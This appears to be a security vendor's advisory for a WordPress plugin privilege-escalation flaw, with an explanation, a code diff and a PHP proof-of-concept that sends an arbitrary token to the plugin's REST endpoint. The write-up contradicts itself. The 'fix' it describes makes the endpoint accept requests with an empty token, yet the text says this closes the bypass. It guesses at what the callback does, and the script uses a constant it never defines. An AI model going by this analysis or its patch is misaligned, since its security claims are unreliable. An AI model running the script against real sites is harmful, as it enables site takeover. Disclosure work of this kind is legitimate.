Atomic Edge analysis of CVE-2026-39583:
This vulnerability affects the Datalogics Ecommerce Delivery plugin for WordPress versions 2.6.62 and below. It is an unauthenticated privilege escalation vulnerability with a CVSS score of 9.8, allowing attackers to gain administrator-level access without any authentication.
The root cause is improper permission control on the REST API endpoint `/datalogics-{datalogics_ID}/v1/update-token/`. In the vulnerable version, this endpoint is registered with `permission_callback => ‘datalogics_permission_check’`. The function `datalogics_permission_check` returns a `WP_Error` with a 403 status for invalid tokens but returns `true` when the token is valid, accepting any non-empty token value. An attacker can supply any arbitrary token value and bypass authentication entirely. The code diff shows the vulnerable permission callback function at line 397 in `datalogics/api.php`.
To exploit this vulnerability, an attacker sends a POST request to the REST API endpoint `/wp-json/datalogics-{datalogics_ID}/v1/update-token/` with a parameter `token` set to any non-empty string. The `datalogics_permission_check` function only checks if the token parameter is set and returns `WP_Error` only if the token is empty. Any non-empty token is considered valid, allowing the attacker to call the `datalogics_update_token` callback without proper authentication. This callback likely allows setting a new authentication token or updating user roles, leading to privilege escalation.
The patch replaces the permission callback from `datalogics_permission_check` to `datalogics_permission_check_update_token`. The new function checks if the `token` parameter is empty and only returns `true` if it is empty. If a token is provided, it returns a `WP_Error` with a 403 status. This reverses the logic: before, an empty token was rejected; now, an empty token is required. The fix ensures that only requests with no token value can access the endpoint, effectively closing the authentication bypass.
If exploited, an attacker can escalate privileges to administrator level, gaining full control over the WordPress site. This includes the ability to modify content, install plugins, change themes, create or delete users, and potentially execute arbitrary code, leading to complete site compromise.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/datalogics/api.php
+++ b/datalogics/api.php
@@ -30,7 +30,7 @@
register_rest_route('datalogics-' . datalogics_ID . '/v1', '/update-token/', array(
'methods' => 'POST',
'callback' => 'datalogics_update_token',
- 'permission_callback' => 'datalogics_permission_check',
+ 'permission_callback' => 'datalogics_permission_check_update_token',
));
@@ -393,3 +393,18 @@
return new WP_Error('invalid_token', 'Invalid token', array('status' => 403 ));
}
+function datalogics_permission_check_update_token(WP_REST_Request $request) {
+
+ $token = $request->get_param('token');
+
+ // Allow only if token is empty
+ if (empty($token)) {
+ return true;
+ }
+
+ return new WP_Error(
+ 'invalid_token',
+ 'Token must be empty for this endpoint',
+ array('status' => 403)
+ );
+}
No newline at end of file
--- a/datalogics/datalogics.php
+++ b/datalogics/datalogics.php
@@ -9,7 +9,7 @@
Domain Path: /languages
License: GPLv2 or later
License URI: https://www.gnu.org/licenses/gpl-2.0.html
- Version: 2.6.62
+ Version: 2.6.63
*/
if ( ! defined( 'WPINC' ) ) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39583 - Datalogics Ecommerce Delivery – Datalogics <= 2.6.62 Unauthenticated Privilege Escalation
$target_url = 'http://example.com'; // Replace with target WordPress URL
$rest_route = '/wp-json/datalogics-' . datalogics_ID . '/v1/update-token/';
$full_url = $target_url . $rest_route;
// Step 1: Send POST request with arbitrary token to escalate privileges
// The vulnerable permission callback accepts any non-empty token
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'token' => 'arbitrary-token-value-12345'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status Code: " . $http_code . "n";
echo "Response: " . $response . "n";
// If the response does not contain a 403 error, the vulnerability is present
// The attacker can then use the returned token or session to access admin functions
?>
